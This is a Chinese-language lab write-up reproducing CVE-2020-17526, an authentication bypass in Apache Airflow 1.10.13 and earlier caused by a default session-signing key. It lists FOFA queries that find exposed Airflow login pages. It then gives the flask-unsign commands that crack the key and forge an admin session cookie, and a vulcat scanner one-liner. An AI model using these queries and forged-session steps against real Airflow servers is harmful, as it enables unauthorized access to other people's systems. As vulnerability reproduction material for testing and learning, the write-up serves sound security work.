CVE-2020-17526(未授权访问)
# 💛 Apache Airflow 默认密钥导致的权限绕过
# 1)漏洞信息
漏洞名称 | 受影响组件 | 漏洞类型 | 漏洞编号 |
---|---|---|---|
Apache Airflow未授权访问 Apache Airflow默认密钥漏洞 | ApacheAirflow (opens new window) | 未授权访问 | CVE-2020-17526 (opens new window) |
漏洞简介 |
---|
Apache Airflow是一款开源的,分布式任务调度框架。 默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定webserver.authenticate=True来开启认证。 在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。 |
参考链接 |
---|
补丁及修复方案 |
---|
|
网络空间测绘 |
---|
FOFA:title="Airflow - Login" |
FOFA:body="<h1 class=\"text-center login-title\">Sign in to Airflow" |
FOFA:icon_hash="-1625254865" |
# 2)漏洞环境
使用vulhub (opens new window)搭建漏洞环境
git clone https://github.com/vulhub/vulhub
cd vulhub/airflow/CVE-2020-17526
docker-compose up -d
1
2
3
2
3
启动容器后,访问8080端口即可看到Airflow登录页面

# 3)漏洞复现-手工
开启 BurpSuite 和代理,刷新登录页面,查看Response
可以看到应用程序返回了Set-Cookie

运行pip安装辅助工具flask-unsign
# !注意!我们需要的是命令行工具
pip3 install flask-unsign # 这个是安装源代码
pip3 install flask-unsign[wordlist] # 这个是安装命令行工具
# 卸载命令行工具
pip3 uninstall flask-unsign-wordlist
1
2
3
4
5
6
2
3
4
5
6

安装完成之后,运行flask-unsign
如果看到工具提示信息,说明安装成功
flask-unsign
1

运行以下命令,将Set-Cookie中的session
参数传递给flask-unsign
flask-unsign会暴破session的加密密钥
flask-unsign -u -c <你的SESSION>
# 例如
flask-unsign -u -c eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiNzBhZmJhOGQ5ZmI2MDk5NGI2ZTk1YTkwZGUzYTBmZjE5ODA0YWY5YiJ9.ZAK0kQ.jSWDhcPF-n6f2V10PkCnNFUAekk
1
2
3
4
2
3
4

如果暴破成功,会返回一个字符串
此处发现session的加密密钥为:temporary_key

获得密钥之后,运行以下命令,伪造一个新的session,以便登录Airflow
flask-unsign -s --secret <你的密钥> -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
# 例如
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
1
2
3
4
2
3
4

获得伪造的session之后,将其添加到Cookie当中
Cookie: session=你伪造的SESSION
1

然后刷新页面,成功进入后台
# 4)漏洞复现-vulcat
python3 vulcat.py -u <URL> -v cve-2020-17526
1
如图,vulcat返回了默认密钥 以及 伪造的session

将伪造的session添加到Cookie

刷新页面,成功进入后台

编辑 (opens new window)